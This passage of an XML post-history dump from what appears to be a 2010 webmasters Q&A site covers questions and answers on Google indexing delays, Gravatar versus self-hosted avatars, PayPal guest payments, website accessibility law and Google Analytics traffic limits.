will&#xD;&#xA;&gt; ask to open and verify an account.&#xD;&#xA;&#xD;&#xA;I was wondering **how often** it should be a payment done to see paypal asking to make an account. For example, let's say that I'm performing the second payment after 2 weeks. Is it going to ask me for a paypal account ?&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="4060" PostHistoryTypeId="2" PostId="2121" RevisionGUID="a8f3c638-405d-48a3-879a-62a4e15ff96c" CreationDate="2010-08-11T12:16:21.323" UserId="1430" Text="i've launch a website on wednesday (9 August)&#xD;&#xA;&#xD;&#xA;There's already in 4 days &#xD;&#xA;&#xD;&#xA; - 12,000 viewed pages&#xD;&#xA; - 1,400 visits&#xD;&#xA; - 20 to 25 backlincks&#xD;&#xA; - a sitemap.xml (130 URL)&#xD;&#xA; - english language / french language - url like that &quot;/en/&quot;  &quot;/fr/&quot;&#xD;&#xA;&#xD;&#xA;BUT, i'm still not referrenced by google&#xD;&#xA;&#xD;&#xA;In the google webmaster i have &#xD;&#xA;0 backlinks&#xD;&#xA;130 in sitemap, 0 URL referrenced on google&#xD;&#xA;&#xD;&#xA;For a smaller website, i remember that i took me less to appear on google with less visits.&#xD;&#xA;&#xD;&#xA;My url are : http://tiny.cc/4jsb2 for english and juste replace /en/ by /fr/ to access it in french.&#xD;&#xA;&#xD;&#xA;Thanks for your help&#xD;&#xA;&#xD;&#xA;(ps, i've already checked robots.txt)&#xD;&#xA;&#xD;&#xA; " />
  <row Id="4061" PostHistoryTypeId="1" PostId="2121" RevisionGUID="a8f3c638-405d-48a3-879a-62a4e15ff96c" CreationDate="2010-08-11T12:16:21.323" UserId="1430" Text="600 visitors per day, 20 backlings --&gt; still not referrenced by google" />
  <row Id="4062" PostHistoryTypeId="3" PostId="2121" RevisionGUID="a8f3c638-405d-48a3-879a-62a4e15ff96c" CreationDate="2010-08-11T12:16:21.323" UserId="1430" Text="&lt;seo&gt;&lt;google&gt;&lt;google-analytics&gt;&lt;site-ranking&gt;&lt;robots.txt&gt;" />
  <row Id="4063" PostHistoryTypeId="2" PostId="2122" RevisionGUID="dd68c5e0-1549-4f81-af37-b5ff67c5f83d" CreationDate="2010-08-11T12:46:48.593" UserId="795" Text="Planning on launching a new site and was wondering if I should simply host my own user avatars or integrate gravatars.  What is the best way to approach this?&#xD;&#xA;&#xD;&#xA;[Gravatar][1] for those who don't know what it is&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gravatar.com/" />
  <row Id="4064" PostHistoryTypeId="1" PostId="2122" RevisionGUID="dd68c5e0-1549-4f81-af37-b5ff67c5f83d" CreationDate="2010-08-11T12:46:48.593" UserId="795" Text="Gravatar or host my own avatars?" />
  <row Id="4065" PostHistoryTypeId="3" PostId="2122" RevisionGUID="dd68c5e0-1549-4f81-af37-b5ff67c5f83d" CreationDate="2010-08-11T12:46:48.593" UserId="795" Text="&lt;users&gt;&lt;user-engagement&gt;" />
  <row Id="4066" PostHistoryTypeId="2" PostId="2123" RevisionGUID="ebb5cf81-6d4d-4d71-a420-80aed13b451b" CreationDate="2010-08-11T12:51:41.267" UserId="55" Text="I'd offer both (I really wish Stack Overflow did). Some people want a more 'professional' or perhaps even site-agnostic gravatar to follow them from place to place, but might want to use a more informal or funny avatar on your web site.&#xD;&#xA;&#xD;&#xA;Others might be concerned with Gravatar knowing a little too much about the surfing habits of people that use their service, it would be nice to let people upload their own. This also lets users upload an avatar without giving you their e-mail address to associate with a gravatar.&#xD;&#xA;&#xD;&#xA;Just make sure to take the proper precautions. I suggest:&#xD;&#xA;&#xD;&#xA; - Test all uploads, of course.&#xD;&#xA; - Permit a 'flag' button of some kind for users to flag offensive avatars&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4067" PostHistoryTypeId="5" PostId="2121" RevisionGUID="18b4208c-cc4f-4690-82de-476675a37849" CreationDate="2010-08-11T13:06:14.637" UserId="1430" Comment="added 54 characters in body; deleted 1 characters in body" Text="i've launch a website on wednesday (9 August)&#xD;&#xA;&#xD;&#xA;There's already in 4 days &#xD;&#xA;&#xD;&#xA; - 12,000 viewed pages&#xD;&#xA; - 1,400 visits&#xD;&#xA; - 20 to 25 backlincks&#xD;&#xA; - a sitemap.xml (130 URL)&#xD;&#xA; - english language / french language - url like that &quot;/en/&quot;  &quot;/fr/&quot;&#xD;&#xA;&#xD;&#xA;BUT, i'm still not referrenced by google&#xD;&#xA;&#xD;&#xA;In the google webmaster i have &#xD;&#xA;0 backlinks&#xD;&#xA;130 in sitemap, 0 URL referrenced on google&#xD;&#xA;&#xD;&#xA;For a smaller website, i remember that i took me less to appear on google with less visits.&#xD;&#xA;&#xD;&#xA;My url are : http://tiny.cc/4jsb2 for english and juste replace /en/ by /fr/ to access it in french.&#xD;&#xA;&#xD;&#xA;**What's causing this ? Is there an explanation ?**&#xD;&#xA;Thanks for your help&#xD;&#xA;&#xD;&#xA;(ps, i've already checked robots.txt)&#xD;&#xA;&#xD;&#xA; " />
  <row Id="4068" PostHistoryTypeId="2" PostId="2124" RevisionGUID="24f45e4f-4c36-456e-ae46-746c10972559" CreationDate="2010-08-11T13:11:32.753" UserId="1253" Text="Hard to say for sure why you aren't indexed yet but:&#xD;&#xA;&#xD;&#xA;1) Number of visitors has no bearing whatsoever on your indexing or rankings. Google doesn't know this information and, even if it they did, it really offers nothing in terms of relevance of any page for search.&#xD;&#xA;&#xD;&#xA;2) 20 backlinks is hardly a lot. Even then, unless Google knows about those backlinks they are useless (for SEO). Those backlinks may be on pages that aren't indexed by Google, may be &quot;nofollow&quot;, or on sites that Google has devalued as link farms. Basically quantity of links that you know about != quantity or quality of links in Google's eyes.&#xD;&#xA;&#xD;&#xA;3) Two days is hardly enough time to expect to be indexed. Yes, some sites appear quicker then that but there are lots of factors that affect that. Those sites may have had a high quality link pointing to them or something else that led Google to them quickly.&#xD;&#xA;&#xD;&#xA;Be patient. Search engine rankings don't happen overnight. Focus on improving your site and promoting it. Good content and natural links will go a lot further then hawking the search engines looking for your rankings. If your site is good it will bhe indexed soon and ranked well in time." />
  <row Id="4069" PostHistoryTypeId="2" PostId="2125" RevisionGUID="f15a2141-f6a3-4430-ae71-d388f3b015af" CreationDate="2010-08-11T13:15:42.353" UserId="182" Text="If you do a google search right now:&#xD;&#xA;&#xD;&#xA;    site:seek-team.com&#xD;&#xA;&#xD;&#xA;You will see that google already have indexed at least some of your pages." />
  <row Id="4070" PostHistoryTypeId="2" PostId="2126" RevisionGUID="829efbb1-b670-4ef5-b6b4-f9c18c429866" CreationDate="2010-08-11T13:28:21.230" UserId="1253" Text="Terms of Service, and all copy like it, is the responsibility of the customer unless otherwise specified in a contract. Your job is to build them a shopping cart and ecommerce website, not to be their business decision maker and copyrighter. &#xD;&#xA;&#xD;&#xA;As far as shopping carts go, keep the following in mind (if anyone has more ideas please feel free to add to this list):&#xD;&#xA;&#xD;&#xA; 1. Make sure the cart is [search engine friendly][1] (URLs, semantic markup, etc).&#xD;&#xA; 2. Make sure security is your top priority. Since payments will occur they will be a target of hackers who want their sensitive credit card and customer information (see [SQL injections][2], [XSS attacks][3], [PCI compliance][4])&#xD;&#xA; 3. Keep your payments flexible. Your customer may want to change payments providers in the future and you don't want this to become a nightmare.&#xD;&#xA; 4. Make the admin easy to use. If you want to keep support calls to a minimum, make sure they can handle everything themselves.&#xD;&#xA; 5. Make shopping and checkout easy to do. Their admin will be useless if customers are scared off by a difficult cart to use or a complex checkout process.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sitepoint.com/forums/showthread.php?t=182915&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/SQL_injection&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Cross-site_scripting&#xD;&#xA;  [4]: https://www.pcisecuritystandards.org/security_standards/pci_dss.shtml" />
  <row Id="4071" PostHistoryTypeId="5" PostId="2116" RevisionGUID="e67acfe9-5fed-4473-824d-9eb6976e5f25" CreationDate="2010-08-11T14:16:43.813" UserDisplayName="delete" Comment="added 10 characters in body; added 22 characters in body" Text="PunBB seems good. I've tried it as a user on two sites in total. I have not hosted it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4072" PostHistoryTypeId="2" PostId="2127" RevisionGUID="eeaa3825-b292-449c-9610-625a9e488ea0" CreationDate="2010-08-11T14:20:25.690" UserId="1183" Text="Gravatar makes it easy to include avatars quickly.  It's very useful for that.  If you want to roll your own, you can always do so down the line.  But It's a piece of cake to just include gravatar avatars in your site, and if you are concerned with launching quickly, it's less to think about than rolling your own avatar system.  While allowing users to upload their own avatar images, and storing them is not overly onerous, for the sake of speed, I'd say use gravatar to start, then if you want to allow more customization, add it in later.  " />
  <row Id="4073" PostHistoryTypeId="2" PostId="2128" RevisionGUID="c325ba99-3454-4c0d-b01f-ea21bce71b28" CreationDate="2010-08-11T14:52:38.127" UserId="1074" Text="I had a site with far more links from other reputable, well trafficked sites that took several weeks to be indexed.  And it was first caught by Bing, not Google, despite Google's far more prolific crawler.  Go figure.&#xD;&#xA;&#xD;&#xA;There's a concept called &quot;Domain Aging.&quot;  Nobody knows exactly what the various search engines look for, but several surmise that older, more established domains are given preference.  If your domain is brand new and literally just registered, it's likely very low priority on Google's &quot;to do's&quot; list.  Time is all that could solve this one, if the theory is correct.&#xD;&#xA;&#xD;&#xA;Use your time waiting to install Google Webmaster tools and the associated tool from Bing.  Analyze the living daylights out of it.  Put up a valid sitemap, ensure that you're using properly validated semantic markup (you're currently showing 7 w3 errors)  Update the meta tags (description is currently blank).  Adding Google Analytics is an outstanding way to see where your traffic is coming from and where they are going....an added benefit is that careful daily analysis can help you detect hack attempts, believe it or not.&#xD;&#xA;&#xD;&#xA;It looks like you're doing a good job on Social media integration too.  I mention this because my most successful clients get an order of magnitude more traffic from outside links and social media than they do from all the search engines combined.  So, get active on Twitter and Facebook, and promote every update you make.  Judging by your current traffic without any search engine records, you're well on your way.&#xD;&#xA;&#xD;&#xA;Good luck.  Nice looking site!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4074" PostHistoryTypeId="4" PostId="2121" RevisionGUID="b3a0f37f-71c4-4e10-8315-06b22f9e8e2b" CreationDate="2010-08-11T15:22:34.623" UserId="233" Comment="fixed title" Text="600 visitors per day, 20 backlinks but still not referenced by Google" />
  <row Id="4075" PostHistoryTypeId="2" PostId="2129" RevisionGUID="cd1c2716-8b2a-4b82-9263-ed1478e9ec5b" CreationDate="2010-08-11T15:51:01.830" UserId="233" Text="That is bizarre, I've never seen anything like that before. First, you should go back and check the code to make sure the code that is output on your page is exactly the same as the code generated from the adsense Ad Manager section.&#xD;&#xA;&#xD;&#xA;If you edited the code yourself, such as changing the size, there may be a conflict between the settings in the Ad Manager and what you're telling the ads to display. The code may change if you're using a &quot;helpful&quot; WYSIWYG editor in a CMS, for example, so check against your browser's &quot;view source&quot; function.&#xD;&#xA;&#xD;&#xA;Make sure you are using the right settings, i.e. Adsense for Content, Link Unit, and the right size from the drop down (468x15 in your case).&#xD;&#xA;" />
  <row Id="4076" PostHistoryTypeId="2" PostId="2130" RevisionGUID="ffb7c7ef-d0d6-409f-ace2-7da4990be627" CreationDate="2010-08-11T16:14:00.287" UserId="26" Text="This occurs when Google can't figure out what kind of ads are relevant to your blog. Either because the content is too new, or too controversial, or general glitchiness.&#xD;&#xA;&#xD;&#xA;[More info about this][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?q=adsense+&quot;view+ads+about&quot;" />
  <row Id="4077" PostHistoryTypeId="2" PostId="2131" RevisionGUID="267c1504-1a33-4ef1-ba92-2b5d522fc578" CreationDate="2010-08-11T16:25:47.093" UserId="221" Text="I have  RSS feeds on some of my sites and I'm wondering how I can track how many people are subscribing to them.&#xD;&#xA;&#xD;&#xA;The obvious solution is to track the number of hits on the URL, but I don't feel like that gives a very clear picture." />
  <row Id="4078" PostHistoryTypeId="1" PostId="2131" RevisionGUID="267c1504-1a33-4ef1-ba92-2b5d522fc578" CreationDate="2010-08-11T16:25:47.093" UserId="221" Text="How to track subscriptions to an RSS feed" />
  <row Id="4079" PostHistoryTypeId="3" PostId="2131" RevisionGUID="267c1504-1a33-4ef1-ba92-2b5d522fc578" CreationDate="2010-08-11T16:25:47.093" UserId="221" Text="&lt;analytics&gt;&lt;rss&gt;" />
  <row Id="4080" PostHistoryTypeId="2" PostId="2132" RevisionGUID="de92d12e-bfde-4eb1-a9e6-adca9ac8ed45" CreationDate="2010-08-11T16:31:42.567" UserId="18" Text="Use a tool like [FeedBurner][1] which has [integration][2] with [Google Analytics][3].   &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://feedburner.google.com&#xD;&#xA;  [2]: http://www.gospelrhys.co.uk/2007/09/how-to-track-new-rss-subscribers-google-analytics-in-3-easy-steps.html&#xD;&#xA;  [3]: http://www.google.com/analytics/" />
  <row Id="4081" PostHistoryTypeId="2" PostId="2133" RevisionGUID="51438818-2d84-48ae-bd7b-cd14a5ece68d" CreationDate="2010-08-11T18:03:58.363" UserId="745" Text="Unfortunately, it's not an easy problem to solve on your own. See my question [here][1] on StackOverflow for more details. Really, as Adam mentioned, your best bet is using FeedBurner.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/3327677/standard-and-reliable-way-to-track-rss-subscribers" />
  <row Id="4082" PostHistoryTypeId="2" PostId="2134" RevisionGUID="4ab3b83d-a4af-4a25-b33a-8cf35e3a9d85" CreationDate="2010-08-11T18:19:49.157" UserId="82" Text="[ShareThis][1] allows sharing to multiple different social sites, including Facebook.&#xD;&#xA;&#xD;&#xA;  [1]: http://sharethis.com/" />
  <row Id="4083" PostHistoryTypeId="16" PostId="2134" RevisionGUID="4ab3b83d-a4af-4a25-b33a-8cf35e3a9d85" CreationDate="2010-08-11T18:19:49.157" UserId="-1" />
  <row Id="4084" PostHistoryTypeId="2" PostId="2135" RevisionGUID="51e20c21-a661-41a3-b024-878adb89c318" CreationDate="2010-08-11T18:21:21.137" UserId="82" Text="[AddThis][1] allows sharing to multiple different social sites, including Facebook.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://addthis.com/" />
  <row Id="4085" PostHistoryTypeId="16" PostId="2135" RevisionGUID="51e20c21-a661-41a3-b024-878adb89c318" CreationDate="2010-08-11T18:21:21.137" UserId="-1" />
  <row Id="4086" PostHistoryTypeId="2" PostId="2136" RevisionGUID="91d355f7-f22b-4835-a3da-2742ae3cd573" CreationDate="2010-08-11T19:08:37.060" UserId="1079" Text="I've mostly done intranet development and never worried about accessibility features.  For a public website, is there certain types of sites or data where specific accessibility features are legally required?  Or is it always just my decision based upon my targeted demographic?" />
  <row Id="4087" PostHistoryTypeId="1" PostId="2136" RevisionGUID="91d355f7-f22b-4835-a3da-2742ae3cd573" CreationDate="2010-08-11T19:08:37.060" UserId="1079" Text="When are accessibility features required?" />
  <row Id="4088" PostHistoryTypeId="3" PostId="2136" RevisionGUID="91d355f7-f22b-4835-a3da-2742ae3cd573" CreationDate="2010-08-11T19:08:37.060" UserId="1079" Text="&lt;accessibility&gt;" />
  <row Id="4089" PostHistoryTypeId="2" PostId="2137" RevisionGUID="0d61c938-bcef-4950-ba60-bfe5e97014db" CreationDate="2010-08-11T19:36:14.313" UserId="288" Text="If you are developing a site for the government then (depending on your country) there will probably be mandatory requirements that you implement such features. But there is also legislation that covers *all* websites, for example in the UK there's the [Disability Discrimination Act (DDA)][1]:&#xD;&#xA;&#xD;&#xA;&gt; Section III of the DDA, which refers to accessible websites, came into force on 1st October 1999 and the Code of Practice for this section of the DDA was published on 27th May 2002.&#xD;&#xA;&#xD;&#xA; [1]: http://www.webcredible.co.uk/user-friendly-resources/web-accessibility/uk-website-legal-requirements.shtml" />
  <row Id="4090" PostHistoryTypeId="2" PostId="2138" RevisionGUID="026aa8ea-676c-4d3e-8db1-7410e15029fc" CreationDate="2010-08-11T19:43:40.973" UserId="1253" Text="According to [this page][1] in the US there are no laws concerning website accessibility for non-government websites.&#xD;&#xA;&#xD;&#xA;&gt; In the United States, there are no laws binding business to conform to any level of website accessibility. Many government and government-supported organizations are bound by Section 508 of the Rehabilitation Act Amendments of 1998, but these rules do not extend to private business concerns.&#xD;&#xA;&#xD;&#xA;I don't think *required* should be something you see as being optional. Every site should be as accessible as possible. The very next sentence in the above quote is:&#xD;&#xA;&#xD;&#xA;&gt; However, even if you conduct business only in the United States, this is little reason to fail to conform to common website accessibility standards found in the [WCAG 2.0][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.practicalecommerce.com/articles/1167-Web-Accessibility-and-the-Law&#xD;&#xA;  [2]: http://www.w3.org/TR/WCAG20/" />
  <row Id="4091" PostHistoryTypeId="5" PostId="2138" RevisionGUID="122c9fca-b837-4b22-9608-ccf62f2d0bfe" CreationDate="2010-08-11T19:55:22.817" UserId="1253" Comment="added 249 characters in body" Text="According to [this page][1] in the US there are no laws concerning website accessibility for non-government websites.&#xD;&#xA;&#xD;&#xA;&gt; In the United States, there are no laws binding business to conform to any level of website accessibility. Many government and government-supported organizations are bound by Section 508 of the Rehabilitation Act Amendments of 1998, but these rules do not extend to private business concerns.&#xD;&#xA;&#xD;&#xA;I don't think &quot;required&quot; should be something you see as being optional. Every site should be as accessible as possible. The very next sentence in the above quote is:&#xD;&#xA;&#xD;&#xA;&gt; However, even if you conduct business only in the United States, this is little reason to fail to conform to common website accessibility standards found in the [WCAG 2.0][2].&#xD;&#xA;&#xD;&#xA;[Wikipedia][3] had a great way of saying it (emphasis mine):&#xD;&#xA;&#xD;&#xA;&gt; When sites are *correctly* designed, developed and edited, all users can have equal access to information and functionality.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.practicalecommerce.com/articles/1167-Web-Accessibility-and-the-Law&#xD;&#xA;  [2]: http://www.w3.org/TR/WCAG20/&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Web_accessibility" />
  <row Id="4092" PostHistoryTypeId="2" PostId="2139" RevisionGUID="6c6db36d-ee37-49fa-8cb2-0528cdd5a327" CreationDate="2010-08-11T20:06:20.547" UserId="1436" Text="This may be a silly question, but I recently inherited a DotNetNuke site.  Looking in the settings, I can see it's running version 4.09.00 of DNN. Looking at current DNN 5.0 information, there appears to be several editions available (Community, Professional, Enterprise, etc).&#xD;&#xA;&#xD;&#xA;So my question is:&#xD;&#xA;&#xD;&#xA; - Were these editions also available in the 4.0 version of DNN?&#xD;&#xA; - If so, is there a way to tell which edition the site is running?  I didn't see any immediately obvious designation in the admin areas.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="4093" PostHistoryTypeId="1" PostId="2139" RevisionGUID="6c6db36d-ee37-49fa-8cb2-0528cdd5a327" CreationDate="2010-08-11T20:06:20.547" UserId="1436" Text="How to know which edition a DotNetNuke site is" />
  <row Id="4094" PostHistoryTypeId="3" PostId="2139" RevisionGUID="6c6db36d-ee37-49fa-8cb2-0528cdd5a327" CreationDate="2010-08-11T20:06:20.547" UserId="1436" Text="&lt;cms&gt;" />
  <row Id="4095" PostHistoryTypeId="2" PostId="2140" RevisionGUID="9205fb6a-ca76-4a6f-875e-b33a42a95b4e" CreationDate="2010-08-11T20:31:00.377" UserId="1204" Text="As others have mentioned, legislation on the matter depends on your local laws, though generally speaking there will be a legal requirement for government sites if you are in the US or Europe.&#xD;&#xA;&#xD;&#xA;If your site is a web application might ever be of interest to large organisations like a bank, then they will probably insist on conformance with the WCAG standards - our clients certainly insist on this for all internal and external bespoke work (and it is a deciding factor if choosing between external off-the-shelf solutions).&#xD;&#xA;&#xD;&#xA;Legal and contractual issues aside: if you do, or plan to do, web design or web programming for hire I recommend making all your work accessible where possible and downgrade gracefully when not - that way your future portfolio has greater chance of looking impressive to clients who know about such things. And remember that there is more to accessibility than just making it browsable by the blind using screen readers, and even then try not to assume what people will want to browse - a user that has been blind since birth might still find something of interest in a good art gallery site as it will no doubt contain interesting facts about the pieces, artists and places &amp; people depicted.  &#xD;&#xA;&#xD;&#xA;Of course &quot;just my decision based upon my targeted demographic&quot; is how most sites seem to be run in this area, including some of my output if I'm completely honest!" />
  <row Id="4096" PostHistoryTypeId="2" PostId="2141" RevisionGUID="2b20a426-e315-4ee8-a0fd-386ed4d50698" CreationDate="2010-08-11T20:38:47.410" UserId="3" Text="We just got this email from the Google Analytics team:&#xD;&#xA;&#xD;&#xA;&gt; We love that you love our product and use it as much as you do. We have observed however, that a website you are tracking with Google Analytics is sending over 1 million hits per day to Google Analytics servers. This is well above the &quot;5 million pageviews per month per account&quot; limit specified in the Google Analytics Terms of Service. Processing this amount of data multiple times a day takes up valuable resources that enable us to continue to develop the product for all Google Analytics users.&#xD;&#xA;&#xD;&#xA;&gt; Processing this amount of data multiple times a day takes up valuable resources that enable us to continue to develop the product for all Google Analytics users.&#xD;&#xA;&#xD;&#xA;&gt; As such, starting August 23rd, 2010, the metrics in your reports will be updated once a day, as opposed to multiple times during the course of the day. You will continue to receive all the reports and features in Google Analytics as usual. The only change will be that data for a given day will appear the following day.&#xD;&#xA;&#xD;&#xA;&gt; We trust you understand the reasons for this change.&#xD;&#xA;&#xD;&#xA;I totally respect this decision, and I think it's very generous to not kick us out.&#xD;&#xA;&#xD;&#xA;But how do we do this the right way -- **what's the official, blessed Google way to use Google Analytics if you're a &quot;whale&quot; website with lots of hits per day?**&#xD;&#xA;&#xD;&#xA;Or, are there other analytics services that would be more appropriate for very large websites?" />
  <row Id="4097" PostHistoryTypeId="1" PostId="2141" RevisionGUID="2b20a426-e315-4ee8-a0fd-386ed4d50698" CreationDate="2010-08-11T20:38:47.410" UserId="3" Text="Site too large to officially use Google Analytics?" />
  <row Id="4098" PostHistoryTypeId="3" PostId="2141" RevisionGUID="2b20a426-e315-4ee8-a0fd-386ed4d50698" CreationDate="2010-08-11T20:38:47.410" UserId="3" Text="&lt;google-analytics&gt;" />
  <row Id="4099" PostHistoryTypeId="2" PostId="2142" RevisionGUID="19b6f354-52b0-416f-95d9-02f3fdb4027d" CreationDate="2010-08-11T20:58:31.310" UserId="1437" Text="Stackoverflow.com does blow well past that limit doesn't it! Fortunately, per **paragraph 2** of the terms of service, as long as you have an &quot;*active Adwords campaign in good standing*&quot;, then the service is provided &quot;*without charge to You without a pageview limitation*&quot;. I assume this means active campaign of any size, which is a trivial requirement IMHO.&#xD;&#xA;&#xD;&#xA;The full terms are currently documented at:&#xD;&#xA;&#xD;&#xA;http://www.google.com/analytics/tos.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4100" PostHistoryTypeId="5" PostId="2121" RevisionGUID="5e63bacd-b1a5-484a-9ff9-a5a81e8a8b2b" CreationDate="2010-08-11T21:05:42.273" UserId="138" Comment="tinyurl use is discouraged" Text="i've launch a website on wednesday (9 August)&#xD;&#xA;&#xD;&#xA;There's already in 4 days &#xD;&#xA;&#xD;&#xA; - 12,000 viewed pages&#xD;&#xA; - 1,400 visits&#xD;&#xA; - 20 to 25 backlincks&#xD;&#xA; - a sitemap.xml (130 URL)&#xD;&#xA; - english language / french language - url like that &quot;/en/&quot;  &quot;/fr/&quot;&#xD;&#xA;&#xD;&#xA;BUT, i'm still not referrenced by google&#xD;&#xA;&#xD;&#xA;In the google webmaster i have &#xD;&#xA;0 backlinks&#xD;&#xA;130 in sitemap, 0 URL referrenced on google&#xD;&#xA;&#xD;&#xA;For a smaller website, i remember that i took me less to appear on google with less visits.&#xD;&#xA;&#xD;&#xA;My url is: http://www.seek-team.com/en/ for english and juste replace /en/ by /fr/ to access it in french.&#xD;&#xA;&#xD;&#xA;**What's causing this ? Is there an explanation ?**&#xD;&#xA;Thanks for your help&#xD;&#xA;&#xD;&#xA;(ps, i've already checked robots.txt)&#xD;&#xA;&#xD;&#xA; " />
  <row Id="4101" PostHistoryTypeId="2" PostId="2143" RevisionGUID="f6f7b159-41ff-42b3-ba3c-167005f48a36" CreationDate="2010-08-11T21:06:17.983" UserDisplayName="TheWoo" Text="Does anyone know how to make an animated button without flash? What I'd like to make is a button that fades in and out without any interaction, then when the mouse goes over the icon it goes to full fade in.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;" />
  <row Id="4102" PostHistoryTypeId="1" PostId="2143" RevisionGUID="f6f7b159-41ff-42b3-ba3c-167005f48a36" CreationDate="2010-08-11T21:06:17.983" UserDisplayName="TheWoo" Text="Moving Web Buttons Without Flash." />
  <row Id="4103" PostHistoryTypeId="3" PostId="2143" RevisionGUID="f6f7b159-41ff-42b3-ba3c-167005f48a36" CreationDate="2010-08-11T21:06:17.983" UserDisplayName="TheWoo" Text="&lt;website-design&gt;" />
  <row Id="4104" PostHistoryTypeId="5" PostId="2104" RevisionGUID="9e2132b2-a1bf-4521-9366-820e9a52f378" CreationDate="2010-08-11T21:07:43.160" UserId="138" Comment="added 1 characters in body" Text="Paypal Payment Standard doesn't require to be registered to paypal to perform payment.&#xD;&#xA;&#xD;&#xA;However I've read on a blog that the second time you proceed, it recognize your credit card and ask you to register to paypal.&#xD;&#xA;&#xD;&#xA;Could you give me a 100% sure answer about this ? I really cannot ask customers to create paypal accounts.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;**Update**:&#xD;&#xA;I've found the following extract on a website: &#xD;&#xA;&#xD;&#xA;&gt; Are PayPal accounts required in order&#xD;&#xA;&gt; to make a purchase or donation? Not&#xD;&#xA;&gt; any more. It was this way before but&#xD;&#xA;&gt; PayPal.com changed the policy. You may&#xD;&#xA;&gt; make ONE non-recurring transaction&#xD;&#xA;&gt; without opening a PayPal account&#xD;&#xA;&gt; however, PayPal creates a temporary&#xD;&#xA;&gt; PayPal account with credit card number&#xD;&#xA;&gt; used. If you use the same credit card&#xD;&#xA;&gt; again with so many months, PayPal will&#xD;&#xA;&gt; ask to open and verify an account.&#xD;&#xA;&#xD;&#xA;I was wondering **how often** it should be a payment done to see paypal asking to make an account. For example, let's say that I'm performing the second payment after 2 weeks. Is it going to ask me for a paypal account ?&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="4105" PostHistoryTypeId="2" PostId="2144" RevisionGUID="f6ffa4fb-58e2-438c-9984-698aa5871728" CreationDate="2010-08-11T21:18:06.960" UserId="1440" Text="Or just check results once a day. Is your site/service dependent on reports multiple times a day?" />
  <row Id="4106" PostHistoryTypeId="2" PostId="2145" RevisionGUID="85ade46a-e494-4f5b-be12-b8fb83613c05" CreationDate="2010-08-11T21:27:13.613" UserId="745" Text="If you aren't using AdWords, it may be worth contacting a Google representative to see if they're willing to make a special arrangement for you. If they're not, I'd be shocked." />
  <row Id="4107" PostHistoryTypeId="2" PostId="2146" RevisionGUID="115fba7c-4e00-41e4-aa28-fe12ab0f8878" CreationDate="2010-08-11T21:35:00.307" UserId="1443" Text="I think that for being free, getting data updated once a day is just fine. I don't even know why with such large numbers you need more then that. Did you really loose anything?&#xD;&#xA;&#xD;&#xA;if you really want alternatives, I suggest you try http://piwik.org/. I have no idea if it can take the load, but since it is up to you to install and configure.. I guess all is possible (only questions is, how much work?)&#xD;&#xA;&#xD;&#xA;Other hosted options are http://chartbeat.com/ and http://www.getclicky.com/ which since you actually pay for the service, I don't think they will have a problem accepting your money..." />
  <row Id="4108" PostHistoryTypeId="5" PostId="2142" RevisionGUID="f415a900-016b-4483-9d0c-c71016ed83c1" CreationDate="2010-08-11T21:49:54.507" UserId="3" Comment="added 301 characters in body" Text="Stackoverflow.com does blow well past that limit doesn't it! Fortunately, per **paragraph 2** of the terms of service...&#xD;&#xA;&#xD;&#xA;&gt; FEES AND SERVICES . Subject to Section 15 herein, the Service is provided without charge to You for up to 5 million pageviews per month per account, and if You have an active Adwords campaign in good standing, the Service is provided without charge to You without a pageview limitation.&#xD;&#xA;&#xD;&#xA;... as long as you have an &quot;*active Adwords campaign in good standing*&quot;, then the service is provided &quot;*without charge to You without a pageview limitation*&quot;. I assume this means active campaign of any size, which is a trivial requirement IMHO.&#xD;&#xA;&#xD;&#xA;The full terms are currently documented at:&#xD;&#xA;&#xD;&#xA;http://www.google.com/analytics/tos.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4110" PostHistoryTypeId="10" PostId="2143" RevisionGUID="51c8dfd4-4688-422a-b61f-dd057282f858" CreationDate="2010-08-11T22:14:07.867" UserId="-1" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;},{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;Jeff Atwood&quot;}]" />
  <row Id="4111" PostHistoryTypeId="2" PostId="2148" RevisionGUID="d6089c1c-70b3-418e-b20e-08ef1cb366d0" CreationDate="2010-08-11T22:31:27.430" UserId="221" Text="This is essentially a legal question and you should **ask a lawyer** if you want an authoritative answer on what your local laws say on the matter.&#xD;&#xA;&#xD;&#xA;Accessibility laws are however rarely enforced (especially against non-governmental sites) and you are more likely to catch flak from special interest groups over a lack of accessibility than any legal trouble. If you are designing a site where the user are somewhat captive (i.e. have no viable online alternative or it is difficult/expensive to move to an alternative) then you should most definitely view accessibility as a major concern. If your users can easily choose alternatives, then you need only worry about lost traffic. " />
  <row Id="4112" PostHistoryTypeId="2" PostId="2149" RevisionGUID="028dbc27-df08-4d1d-80dd-837cf5090a47" CreationDate="2010-08-11T23:22:39.433" UserId="269" Text="I have always heard good things about Mint: http://www.haveamint.com/&#xD;&#xA;&#xD;&#xA;It not a hosted service so you can throw it on your own servers." />
